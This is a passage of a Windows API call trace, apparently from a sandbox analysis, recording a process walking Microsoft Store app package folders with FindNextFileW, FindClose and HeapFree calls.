	[0094.684] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0094.684] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa291d28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Glyphs", cAlternateFileName="")) returned 0
	[0094.685] FindClose (in: hFindFile=0x3121890 | out: hFindFile=0x3121890) returned 1
	[0094.688] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0094.688] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa291621, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0
	[0094.688] FindClose (in: hFindFile=0x3121710 | out: hFindFile=0x3121710) returned 1
	[0094.688] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0094.688] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5eefc3c1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa292b95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eefc3c1, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0094.689] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0094.689] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77bb9eb0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MicrosoftAdvertising.ini", cAlternateFileName="")) returned 1
	[0094.694] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0094.694] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77be010a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77be010a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77be010a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4413, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PlatformConfiguration.xml", cAlternateFileName="")) returned 1
	[0095.035] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0095.035] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa0986e1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77492ec4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0
	[0095.035] FindClose (in: hFindFile=0x3121310 | out: hFindFile=0x3121310) returned 1
	[0095.035] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0095.035] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70454cf5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa293665, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MIADDF~1.0_N")) returned 1
	[0095.101] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0095.101] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7047af3f, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7047af3f, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7047af3f, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2967, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0095.101] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0095.101] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5fac1d9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa2942e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0095.102] FindClose (in: hFindFile=0x3121910 | out: hFindFile=0x3121910) returned 1
	[0095.102] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0095.102] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d4c9e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe", cAlternateFileName="MI13A6~1.0_X")) returned 1
	[0095.106] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0095.106] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704a11ba, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704a11ba, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2992, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0095.203] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0095.890] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704c73fb, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa457e69, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1
	[0095.893] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0095.893] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ed6f5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704ed6f5, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xa7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="News_LogoSmall.scale-100.png", cAlternateFileName="")) returned 1
	[0095.893] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0095.893] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d7904, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppTiles", cAlternateFileName="")) returned 0
	[0095.893] FindClose (in: hFindFile=0x3121850 | out: hFindFile=0x3121850) returned 1
	[0095.893] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0095.893] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ed6f5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704ed6f5, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xe958, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1
	[0095.894] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0095.894] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705138c0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x705138c0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x705138c0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x9572, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MarketConfiguration.xml", cAlternateFileName="")) returned 1
	[0095.894] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0095.894] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x705ac224, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45a502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x705ac224, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0
	[0095.894] FindClose (in: hFindFile=0x31212d0 | out: hFindFile=0x31212d0) returned 1
	[0095.894] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0095.894] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705138c0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x705138c0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x70585fca, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x35acb0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Advertising.dll", cAlternateFileName="")) returned 1
	[0095.896] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb010 | out: hHeap=0x500000) returned 1
	[0095.896] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45e65c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FoodAndDrink", cAlternateFileName="FOODAN~1")) returned 1
	[0095.897] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb010 | out: hHeap=0x500000) returned 1
	[0095.897] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45f23f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Health", cAlternateFileName="")) returned 1
	[0095.897] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb010 | out: hHeap=0x500000) returned 1
	[0095.897] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45fd68, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="News", cAlternateFileName="")) returned 1
	[0095.897] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb010 | out: hHeap=0x500000) returned 1
	[0095.897] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa4608e8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1
	[0095.897] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb010 | out: hHeap=0x500000) returned 1
	[0095.898] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa461467, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather", cAlternateFileName="")) returned 1
	[0095.898] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb010 | out: hHeap=0x500000) returned 1
	[0095.898] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa461467, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather", cAlternateFileName="")) returned 0
	[0095.898] FindClose (in: hFindFile=0x3121310 | out: hFindFile=0x3121310) returned 1
	[0095.898] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0095.898] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45ce6a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DataModels", cAlternateFileName="DATAMO~1")) returned 0
	[0095.898] FindClose (in: hFindFile=0x31212d0 | out: hFindFile=0x31212d0) returned 1
	[0095.898] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0095.900] FindNextFileW (in: hFindFile=0x3121250, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45be97, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Personalization", cAlternateFileName="PERSON~1")) returned 0
	[0095.900] FindClose (in: hFindFile=0x3121250 | out: hFindFile=0x3121250) returned 1
	[0095.900] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0095.901] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa4624cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Msn.Shell", cAlternateFileName="MICROS~1.SHE")) returned 1
	[0095.903] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb010 | out: hHeap=0x500000) returned 1
	[0095.903] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa464f0e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Font", cAlternateFileName="")) returned 0
	[0095.903] FindClose (in: hFindFile=0x31212d0 | out: hFindFile=0x31212d0) returned 1
	[0095.903] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0095.903] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa464150, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Glyphs", cAlternateFileName="")) returned 0
	[0095.903] FindClose (in: hFindFile=0x3121710 | out: hFindFile=0x3121710) returned 1
	[0095.903] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0095.905] FindNextFileW (in: hFindFile=0x3121250, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa463310, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0
	[0095.905] FindClose (in: hFindFile=0x3121250 | out: hFindFile=0x3121250) returned 1
	[0095.905] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0095.906] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5fac1d9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa466063, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0095.906] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0095.906] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x70775e5e, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MicrosoftAdvertising.ini", cAlternateFileName="")) returned 1
	[0095.906] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0095.906] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x70775e5e, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4413, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PlatformConfiguration.xml", cAlternateFileName="")) returned 1
	[0095.906] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0095.906] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d5b50, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x704a11ba, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0
	[0095.907] FindClose (in: hFindFile=0x31214d0 | out: hFindFile=0x31214d0) returned 1
	[0095.907] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0095.907] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c254236, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa53d33a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x608513a6, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI90D7~1.0_N")) returned 1
	[0095.909] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0095.909] FindNextFileW (in: hFindFile=0x31215d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c27a365, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c27a365, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c27a365, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x296b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0095.909] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
